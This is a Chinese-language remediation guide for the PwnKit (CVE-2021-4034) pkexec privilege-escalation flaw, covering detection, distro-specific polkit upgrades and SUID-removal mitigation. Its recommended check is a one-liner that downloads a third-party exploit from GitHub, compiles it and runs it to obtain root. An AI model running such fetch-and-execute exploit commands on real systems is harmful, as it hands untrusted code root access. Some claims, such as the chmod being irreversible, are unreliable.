CVE-2021-4034(PwnKit)是pkexec二进制级逻辑缺陷导致的本地提权漏洞,影响所有polkit≤0.113-22的Linux系统;确认方式首选执行POC或检查/usr/bin/pkexec是否含s位,修复必须升级polkit或移除SUID权限。

所有运行 pkexec 的 Linux 系统(只要 polkit 版本 ≤ 0.113-22)都面临 CVE-2021-4034(PwnKit)的本地提权风险,普通用户可直接获取 root 权限。这不是配置问题,而是二进制级逻辑缺陷,必须升级或移除 SUID 权限。
怎么确认系统是否受影响
直接运行检测命令比查版本更可靠,因为补丁可能被手动回退或打错:
curl -s https://raw.githubusercontent.com/zhzyker/CVE-2021-4034/main/poc.c | gcc -x c -o /tmp/cve-2021-4034 - && /tmp/cve-2021-4034
如果返回 root 或触发 segmentation fault(而非明确报错),说明漏洞存在。也可用更轻量方式验证:
-
ls -l /usr/bin/pkexec—— 若输出含s(如-rwsr-xr-x),说明仍是 SUID-root 状态 -
pkexec --version输出的版本号低于对应发行版修复版本(如 CentOS 7 小于0.112-26.el7_9.1)
优先用包管理器升级 polkit
升级是根本解法,但不同发行版命令和源需严格匹配:
- Ubuntu/Debian:
sudo apt update && sudo apt install --only-upgrade policykit-1,确认安装后dpkg -l | grep policykit显示版本 ≥0.105-26ubuntu1.2(20.04) - CentOS/RHEL 7:
sudo yum update polkit,成功后rpm -q polkit应返回polkit-0.112-26.el7_9.1或更高 - CentOS/RHEL 8+ 或 Fedora:
sudo dnf update polkit,注意dnf list installed polkit中版本需 ≥0.115-13.el8_5.1
离线环境不能跳过校验:下载的 RPM 包必须用 rpm -K 验证签名,且 rpm -Uvh 升级时加 --force 可能覆盖关键策略文件,不建议。
临时缓解:去掉 pkexec 的 SUID 权限
若无法立即升级(如生产环境灰度窗口未开),唯一有效缓解是剥离其提权能力:
sudo chmod 0755 /usr/bin/pkexec
该操作立即使 pkexec 失效,但不会影响系统其他功能。需注意:
- 某些桌面环境(如 GNOME)的图形化权限弹窗底层依赖
pkexec,去掉后可能导致“认证失败”提示,但不影响 CLI 工具或sudo - 执行后务必验证:
ls -l /usr/bin/pkexec中不再有s位,且普通用户运行pkexec id报错Permission denied - 该操作不可逆除非重装 polkit 或手动恢复权限,重启不生效,无需 reboot
为什么不能只改环境变量或禁用 GCONV_PATH
网上流传的“清空 GCONV_PATH”或“unset CHARSET”等方案完全无效:
- 漏洞触发不依赖用户可控的环境变量初始值,而是通过构造
argv[0]为 NULL、argv[1]为恶意字符串,迫使pkexec错误解析后续参数并 fallback 到环境变量路径查找逻辑 - 攻击载荷(如
gconv-modules+ 恶意.so)可完全由攻击者在当前目录部署,无需系统级环境变量污染 - 任何基于“过滤环境变量”的中间件(如 systemd 环境限制、sudoers env_reset)均无法拦截该利用链
真正危险的是那个带 s 位的二进制本身——它只要存在且可执行,就构成完整攻击面。别在环境变量上浪费时间。


















